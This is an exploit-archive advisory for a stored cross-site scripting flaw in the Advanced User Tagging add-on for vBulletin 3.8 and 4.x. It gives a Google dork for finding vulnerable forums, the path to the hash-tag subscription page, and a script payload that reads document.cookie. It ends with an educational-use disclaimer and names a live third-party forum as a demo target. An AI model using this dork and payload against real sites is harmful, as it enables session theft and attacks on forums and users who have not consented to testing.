VBulletin Advanced User Tagging Cross Site Scripting

[Admin]

# Exploit Title: Advanced User Tagging vBulletin -- Stored XSS Vulnerability
# Google Dork: intext:usertag_pro
# Date: 10.07.2013
# Exploit Author: []0iZy5
# Vendor Homepage: www.backtrack-linux.ro
# Version: vBulletin 3.8.x, vBulletin 4.x.x
# Tested on: Linux & Windows
#
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#
# Stage 1: Go to -> UserCP -> Hash Tag Subscriptions
# Direct Link:

http://127.0.0.1/[path]/usertag.php?do=profile&action=hashsubscription

#
# Stage 2: Add a malicious hash tag.
# Example:

<script>alert(document.cookie)</script>

#
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#
# This was written for educational purpose only. use it at your own risk.
# Author will be not responsible for any damage caused! user assumes all responsibility.
# Intended for authorized web application pentesting only!​
Demo:

http://www.vbiran.ir/usertag.php?do=profile&action=hashsubscription